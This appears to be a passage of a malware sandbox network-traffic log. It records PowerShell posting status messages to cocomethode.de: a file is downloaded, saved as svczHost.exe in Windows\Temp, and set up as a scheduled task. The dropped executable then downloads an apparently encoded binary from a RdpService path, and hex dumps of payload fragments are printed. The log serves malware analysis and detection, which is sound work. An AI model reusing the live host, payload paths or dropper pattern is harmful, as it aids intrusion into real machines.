2024-12-11 11:14:42 UTC	1369	IN	Data Raw: 04 ca e6 4f 01 49 8c 0c bd e6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 8c d2 25 01 49 8c 04 47 e9 4f 01 49 8c 0c 36 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 71 d2 25 01 49 8c 04 38 e9 4f 01 49 8c 0c 2b e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 52 d2 25 01 49 8c 04 35 e9 4f 01 49 8c 0c 24 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 37 d2 25 01 49 8c 04 3e e9 4f 01 49 8c 0c 31 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 18 d2 25 01 49 8c 04 4b e9 4f 01 49 8c 0c 3a e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 fd d3 25 01 49 8c 04 4c e9 4f 01 49 8c 0c 3f e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 de d3 25 01 49 8c 04 59 e9 4f 01 49 8c 0c 48 e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c3 d3 25 01 49 8c 04 7a e9 4f 01 49 8c 0c 6d e9 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 Data Ascii: OIOI8tI%IGOI6OI8tIq%I8OI+OI8tIR%I5OI$OI8tI7%I>OI1OI8tI%IKOI:OI8tI%ILOI?OI8tI%IYOIHOI8tI%IzOImOI8tI
2024-12-11 11:14:42 UTC	1369	IN	Data Raw: 8c 0c a8 eb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 3b cf 25 01 49 8c 04 b2 eb 4f 01 49 8c 0c a5 eb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 1c cf 25 01 49 8c 04 f7 f3 4f 01 49 8c 0c e6 f3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 01 cf 25 01 49 8c 04 18 f2 4f 01 49 8c 0c 0b f2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e2 cc 25 01 49 8c 04 85 f2 4f 01 49 8c 0c 74 f2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 cc 25 01 49 8c 04 9e 76 90 01 49 8a 01 49 8c 0c cc db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 cc 25 01 49 8c 04 86 76 90 01 49 8a 01 49 8c 0c b4 db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 cc 25 01 49 8c 04 6e 76 90 01 49 8a 01 49 8c 0c cc db 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 cc 25 01 49 8c 04 5e 76 90 01 49 8a 01 49 8c 0c c4 db 4f 01 49 82 38 01 74 Data Ascii: OI8tI;%IOIOI8tI%IOIOI8tI%IOIOI8tI%IOItOI8tI%IvIIOI8tI%IvIIOI8tIg%InvIIOI8tIG%I^vIIOI8t
2024-12-11 11:14:42 UTC	1369	IN	Data Raw: 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c9 25 01 49 8c 04 36 74 90 01 49 8a 01 49 8c 0c c4 d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c9 25 01 49 8c 04 26 74 90 01 49 8a 01 49 8c 0c ac d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c9 25 01 49 8c 04 0e 74 90 01 49 8a 01 49 8c 0c 94 d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c9 25 01 49 8c 04 f6 75 90 01 49 8a 01 49 8c 0c 7c d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c9 25 01 49 8c 04 fe 75 90 01 49 8a 01 49 8c 0c 64 d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c9 25 01 49 8c 04 f6 75 90 01 49 8a 01 49 8c 0c 4c d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c9 25 01 49 8c 04 de 75 90 01 49 8a 01 49 8c 0c 34 d8 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c6 25 01 49 8c 04 ce 75 90 01 49 8a 01 49 8c 0c 1c d8 Data Ascii: I8tI%I6tIIOI8tI%I&tIIOI8tI%ItIIOI8tIg%IuII\|OI8tIG%IuIIdOI8tI'%IuIILOI8tI%IuII4OI8tI%IuII
2024-12-11 11:14:42 UTC	1369	IN	Data Raw: 01 49 8c 0c 6c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c2 25 01 49 8c 04 46 73 90 01 49 8a 01 49 8c 0c 54 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c2 25 01 49 8c 04 2e 73 90 01 49 8a 01 49 8c 0c 44 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c2 25 01 49 8c 04 16 73 90 01 49 8a 01 49 8c 0c 34 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c2 25 01 49 8c 04 fe 70 90 01 49 8a 01 49 8c 0c 4c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c3 25 01 49 8c 04 e6 70 90 01 49 8a 01 49 8c 0c 44 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c3 25 01 49 8c 04 ce 70 90 01 49 8a 01 49 8c 0c 2c d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c3 25 01 49 8c 04 ce 70 90 01 49 8a 01 49 8c 0c 14 d7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c3 25 01 49 8c 04 be 70 90 01 49 Data Ascii: IlOI8tIg%IFsIITOI8tIG%I.sIIDOI8tI'%IsII4OI8tI%IpIILOI8tI%IpIIDOI8tI%IpII,OI8tI%IpIIOI8tI%IpI
2024-12-11 11:14:42 UTC	1369	IN	Data Raw: 04 9e 6e 90 01 49 8a 01 49 8c 0c d4 d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 bf 25 01 49 8c 04 96 6e 90 01 49 8a 01 49 8c 0c bc d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 bc 25 01 49 8c 04 7e 6e 90 01 49 8a 01 49 8c 0c a4 d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 bc 25 01 49 8c 04 66 6e 90 01 49 8a 01 49 8c 0c 8c d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 bc 25 01 49 8c 04 56 6e 90 01 49 8a 01 49 8c 0c 74 d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 bc 25 01 49 8c 04 3e 6e 90 01 49 8a 01 49 8c 0c 5c d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 bc 25 01 49 8c 04 26 6e 90 01 49 8a 01 49 8c 0c 44 d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 bc 25 01 49 8c 04 0e 6e 90 01 49 8a 01 49 8c 0c 2c d4 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 bc 25 01 49 Data Ascii: nIIOI8tI%InIIOI8tI%I~nIIOI8tI%IfnIIOI8tI%IVnIItOI8tI%I>nII\OI8tIg%I&nIIDOI8tIG%InII,OI8tI'%I
2024-12-11 11:14:42 UTC	1369	IN	Data Raw: e8 c7 b9 25 01 49 8c 04 6e 6f 90 01 49 8a 01 49 8c 0c 8c d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 b9 25 01 49 8c 04 56 6f 90 01 49 8a 01 49 8c 0c 74 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 b9 25 01 49 8c 04 3e 6f 90 01 49 8a 01 49 8c 0c 5c d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 b9 25 01 49 8c 04 36 6f 90 01 49 8a 01 49 8c 0c 44 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 b9 25 01 49 8c 04 1e 6f 90 01 49 8a 01 49 8c 0c 34 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 b9 25 01 49 8c 04 06 6f 90 01 49 8a 01 49 8c 0c 1c d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 b9 25 01 49 8c 04 ee 6c 90 01 49 8a 01 49 8c 0c 04 d3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 b6 25 01 49 8c 04 d6 6c 90 01 49 8a 01 49 8c 0c ec d0 4f 01 49 82 38 01 74 00 c2 49 8a Data Ascii: %InoIIOI8tI%IVoIItOI8tI%I>oII\OI8tIg%I6oIIDOI8tIG%IoII4OI8tI'%IoIIOI8tI%IlIIOI8tI%IlIIOI8tI
2024-12-11 11:14:42 UTC	1369	IN	Data Raw: 01 74 00 c2 49 8a d1 e8 67 b2 25 01 49 8c 04 06 6a 90 01 49 8a 01 49 8c 0c 1c ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 b2 25 01 49 8c 04 ee 6b 90 01 49 8a 01 49 8c 0c 04 ce 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 b2 25 01 49 8c 04 fe 6b 90 01 49 8a 01 49 8c 0c ec cf 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 b2 25 01 49 8c 04 e6 6b 90 01 49 8a 01 49 8c 0c d4 cf 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 b3 25 01 49 8c 04 ce 6b 90 01 49 8a 01 49 8c 0c bc cf 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 b3 25 01 49 8c 04 be 6b 90 01 49 8a 01 49 8c 0c a4 cf 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 b3 25 01 49 8c 04 ae 6b 90 01 49 8a 01 49 8c 0c bc cf 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 b3 25 01 49 8c 04 96 6b 90 01 49 8a 01 49 8c 0c a4 cf 4f 01 49 82 Data Ascii: tIg%IjIIOI8tIG%IkIIOI8tI'%IkIIOI8tI%IkIIOI8tI%IkIIOI8tI%IkIIOI8tI%IkIIOI8tI%IkIIOI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49777	172.67.128.139	443	8300	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:52 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a05806d6938e5ae2193a4 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 200
2024-12-11 11:14:52 UTC	200	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 44 6f 77 6e 6c 6f 61 64 20 63 6f 6d 70 6c 65 74 65 64 3a 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 54 68 65 20 66 69 6c 65 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 20 77 61 73 20 70 72 6f 63 65 73 73 65 64 20 61 6e 64 20 73 61 76 65 64 20 61 73 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 73 76 63 7a 48 6f 73 74 2e 65 78 65 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Download completed: C:\\\\Windows\\\\Temp\\\\file\"", "\"The file C:\\\\Windows\\\\Temp\\\\file was processed and saved as C:\\\\Windows\\\\Temp\\\\svczHost.exe\"", "----------"]
2024-12-11 11:14:53 UTC	1208	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:53 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fnk%2BDOCpF3ghnBsRTSf6Y96Np3LyFR0XqJ9%2FOjKAfIRlf3vj47qUev3Yp3ImoO2o2jIbWvTdS1t9om%2B%2FQlUzWFyJ1i%2F1g5Uq6hQpuuXa35U8VQsVxaWWn2xjjT45Db1%2BPnECeK%2FfpbaE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=52837&min_rtt=1355&rtt_var=5193&sent=5823&recv=3522&lost=0&retrans=0&sent_bytes=7581460&recv_bytes=1188833&delivery_rate=22783635&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050db75cdd6775-ATL server-timing: cfL4;desc="?proto=TCP&rtt=47&min_rtt=44&rtt_var=18&sent=8&recv=10&lost=0&retrans=0&sent_bytes=1977&recv_bytes=2048&delivery_rate=1283980392&cwnd=227&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=46&min_rtt=44&rtt_var=17&sent=8&recv=10&lost=0&retrans=0&sent_bytes=2382&recv_bytes=2019&delivery_rate=1212648148&cwnd=54&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:14:53 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 39 31 33 26 6d 69 6e 5f 72 74 74 3d 31 31 33 38 35 33 26 72 74 74 5f 76 61 72 3d 32 34 31 30 39 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 36 26 72 65 63 76 5f 62 79 74 65 73 3d 31 31 34 35 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 35 39 31 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 61 30 35 63 63 66 30 36 64 39 38 63 36 63 37 64 26 74 73 3d 35 38 39 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113913&min_rtt=113853&rtt_var=24109&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1145&delivery_rate=33591&cwnd=252&unsent_bytes=0&cid=a05ccf06d98c6c7d&ts=589&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49779	172.67.128.139	443	8300	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:53 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a05806d6938e5ae2193a4 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 97
2024-12-11 11:14:53 UTC	97	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 44 65 74 65 6c 65 20 46 69 6c 65 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 61 64 64 20 74 61 73 6b 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"Detele File C:\\\\Windows\\\\Temp\\\\file\"", "\"add task\"", "----------"]
2024-12-11 11:14:53 UTC	1209	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:53 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dgdh2Ngs7jj%2BFLxpMCMPHkvlq629frnewHlV2P23jtYYrEKxDzumThvCyFqzA1MCxbXMzz4NmoqzPRBZm2%2FurI0WUdAQAetGoI85GOZ0Ke4wjo3gt5WTMhzR7ymHqT8si9wOmfRYUizP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=57959&min_rtt=1094&rtt_var=3891&sent=8460&recv=4270&lost=0&retrans=0&sent_bytes=11543262&recv_bytes=597321&delivery_rate=20463611&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050dbc9ef1bce9-ATL server-timing: cfL4;desc="?proto=TCP&rtt=59&min_rtt=51&rtt_var=13&sent=12&recv=14&lost=0&retrans=0&sent_bytes=16162&recv_bytes=3115&delivery_rate=1283980392&cwnd=96&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113869&min_rtt=113852&rtt_var=24030&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1041&delivery_rate=33636&cwnd=252&unsent_bytes=0&cid=692a1727ef677523&ts=584&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.11.20	49780	172.67.128.139	443	8300	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:14:55 UTC	284	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a05806d6938e5ae2193a4 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 64
2024-12-11 11:14:55 UTC	64	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 72 75 6e 20 74 61 73 6b 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 6b 65 74 20 74 68 75 63 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d Data Ascii: [ "\"run task\"", "\"ket thuc\"", "----------"]
2024-12-11 11:14:56 UTC	1189	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:14:56 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E3DgrUWUnqQlYoFsXYPoq3Kf8v47CiqXcSCn5455OE4r65bgN6ZngAHLuXOX0MK9vp7Rm%2BasWJ2KhNSlxG6Cq5r3PbwdG1ApM1cDAPE8L6cRfhzIPgtMJL2YNhJZ7ms9wYqm68aXKC0g"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=55599&min_rtt=1511&rtt_var=6348&sent=875&recv=1321&lost=0&retrans=0&sent_bytes=121268&recv_bytes=1155936&delivery_rate=7411167&cwnd=253&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050dcb2ebdbcaa-ATL server-timing: cfL4;desc="?proto=TCP&rtt=50&min_rtt=50&rtt_var=25&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=603&delivery_rate=0&cwnd=205&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=113982&min_rtt=113951&rtt_var=24088&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1008&delivery_rate=33583&cwnd=252&unsent_bytes=0&cid=20410435ef53e50a&ts=816&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49782	172.67.128.139	443	9020	C:\Windows\Temp\svczHost.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:15:45 UTC	64	OUT	GET /StaticFile/RdpService/66 HTTP/1.1 Host: cocomethode.de
2024-12-11 11:15:46 UTC	1316	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:15:46 GMT Content-Type: application/octet-stream Content-Length: 9429504 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image hash: 5641F3A5B9787F23D3D34F0D9F791B7A CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KM6d%2F%2F5SuJLWH72BiYnQb8elhl1ChiwlwAWv7X3wXqlx7L4buElFaV2rB0eIEvvl1aWWsm006SbQZRG79lc4L5YHIEWbdeTR4d7sCq8VIqIlm0kBxXYSUk78NAbbr6ANoCppMejQmQ3X"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13378&min_rtt=1227&rtt_var=21477&sent=7&recv=9&lost=0&retrans=0&sent_bytes=1516&recv_bytes=3014&delivery_rate=28093&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f050f0129317be1-ATL server-timing: cfL4;desc="?proto=TCP&rtt=44&min_rtt=44&rtt_var=22&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=365&delivery_rate=0&cwnd=204&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=56&min_rtt=56&rtt_var=28&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=352&delivery_rate=0&cwnd=205&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:15:46 UTC	823	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 31 26 6d 69 6e 5f 72 74 74 3d 34 31 26 72 74 74 5f 76 61 72 3d 32 30 26 73 65 6e 74 3d 31 26 72 65 63 76 3d 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 33 34 30 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 32 34 39 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 35 38 26 6d 69 6e 5f 72 74 74 3d 35 38 26 72 74 74 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=41&rtt_var=20&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=340&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=58&min_rtt=58&rtt
2024-12-11 11:15:46 UTC	599	IN	Data Raw: 0f 18 d2 42 41 42 42 42 46 42 42 42 bd bd 42 42 fa 42 42 42 42 42 42 42 02 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 43 42 42 4c 5d f8 4c 42 f6 4b 8f 63 fa 43 0e 8f 63 16 2a 2b 31 62 32 30 2d 25 30 23 2f 62 21 23 2c 2c 2d 36 62 20 27 62 30 37 2c 62 2b 2c 62 06 0d 11 62 2f 2d 26 27 6c 4f 4f 48 66 42 42 42 42 42 42 42 ac af 74 62 e8 ce 1a 31 e8 ce 1a 31 e8 ce 1a 31 e1 b6 89 31 e6 ce 1a 31 98 4f 1b 30 ff ce 1a 31 e8 ce 1b 31 6e cf 1a 31 f8 4a 19 30 fb ce 1a 31 f8 4a 1e 30 d1 ce 1a 31 a0 4b 1f 30 eb ce 1a 31 98 4f 1e 30 ea ce 1a 31 e8 ce 1a 31 e9 ce 1a 31 f8 4a 1f 30 9e ce 1a 31 a0 4b 1a 30 e9 ce 1a 31 a0 4b 18 30 e9 ce 1a 31 10 2b 21 2a e8 ce 1a 31 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 Data Ascii: BABBBFBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCBBL]LBKcCc+1b20-%0#/b!#,,-6b 'b07,b+,bb/-&'lOOHfBBBBBBBtb11111O011n1J01J01K01O0111J01K01K01+!1BBBBBBBBBBBBBBB
2024-12-11 11:15:46 UTC	1369	IN	Data Raw: 22 2a 3b 26 30 23 36 27 26 22 58 5e 42 42 22 12 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 c2 42 42 82 6c 30 26 23 36 23 42 42 22 36 7b 42 42 c2 2e 42 42 34 7b 42 42 00 12 42 42 42 42 42 42 42 42 42 42 42 42 42 02 42 42 02 6c 26 23 36 23 42 42 42 ea 3a 40 42 42 42 e4 42 42 c4 42 42 42 fa cb 42 42 42 42 42 42 42 42 42 42 42 42 42 02 42 42 82 6c 32 26 23 36 23 42 42 46 c5 47 42 42 c2 ea 42 42 ca 47 42 42 7c c8 42 42 42 42 42 42 42 42 42 42 42 42 42 02 42 42 02 6c 30 31 30 21 42 42 42 f0 47 42 42 42 52 ec 42 42 44 42 42 42 84 cd 42 42 42 42 42 42 42 42 42 42 42 42 42 02 42 42 02 6c 30 27 2e 2d 21 42 42 0e 56 42 42 42 62 ec 42 42 54 42 42 42 8e cd 42 42 42 42 42 42 42 42 42 42 42 42 42 02 42 42 00 42 42 42 42 42 42 42 42 42 42 42 42 42 42 Data Ascii: "*;&0#6'&"X^BB"BBBBBBBBBBBBBBBBBBBBBBBl0&#6#BB"6{BB.BB4{BBBBBBBBBBBBBBBBBl&#6#BBB:@BBBBBBBBBBBBBBBBBBBBBBBl2&#6#BBFGBBBBGBB\|BBBBBBBBBBBBBBBl010!BBBGBBBRBBDBBBBBBBBBBBBBBBBBBl0'.-!BBVBBBbBBTBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
2024-12-11 11:15:46 UTC	1369	IN	Data Raw: 7b 42 37 43 81 0a c9 92 ab a1 94 6a 42 0a cf 47 06 d2 1a 42 0a cf 4f 77 d2 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 84 94 6a 42 0a cf 47 7d d2 1a 42 0a cf 4f 72 d2 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab eb 94 6a 42 0a cf 47 08 d2 1a 42 0a cf 4f 79 d2 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab ce 94 6a 42 0a cf 47 ef d2 1a 42 0a cf 4f dc d2 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 2d 94 6a 42 0a cf 47 82 d2 1a 42 0a cf 4f f3 d2 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 10 94 6a 42 0a cf 47 89 d2 1a 42 0a cf 4f fe d2 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 77 94 6a 42 0a cf 47 bc d2 1a 42 0a cf 4f ad d2 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 5a 94 6a 42 0a cf 47 43 d3 1a 42 0a cf 4f b0 d2 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab b9 97 6a 42 0a cf 47 56 d3 1a 42 0a cf 4f Data Ascii: {B7CjBGBOwB{B7CjBG}BOrB{B7CjBGBOyB{B7CjBGBOB{B7C-jBGBOB{B7CjBGBOB{B7CwjBGBOB{B7CZjBGCBOB{B7CjBGVBO
2024-12-11 11:15:46 UTC	1369	IN	Data Raw: c9 92 ab d2 93 6a 42 0a cf 47 73 d1 1a 42 0a cf 4f 60 d1 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 31 93 6a 42 0a cf 47 2e d1 1a 42 0a cf 4f 1f d1 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 14 93 6a 42 0a cf 47 1d d1 1a 42 0a cf 4f 12 d1 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 7b 93 6a 42 0a cf 47 10 d1 1a 42 0a cf 4f 01 d1 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 5e 93 6a 42 0a cf 47 07 d1 1a 42 0a cf 4f 74 d1 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab bd 92 6a 42 0a cf 47 0a d1 1a 42 0a cf 4f 7b d1 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab a0 92 6a 42 0a cf 47 c9 d1 1a 42 0a cf 4f 3e d1 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab 87 92 6a 42 0a cf 47 3c d1 1a 42 0a cf 4f 2d d1 1a 42 0a c1 7b 42 37 43 81 0a c9 92 ab ea 92 6a 42 0a cf 47 e3 d1 1a 42 0a cf 4f d0 d1 1a 42 0a c1 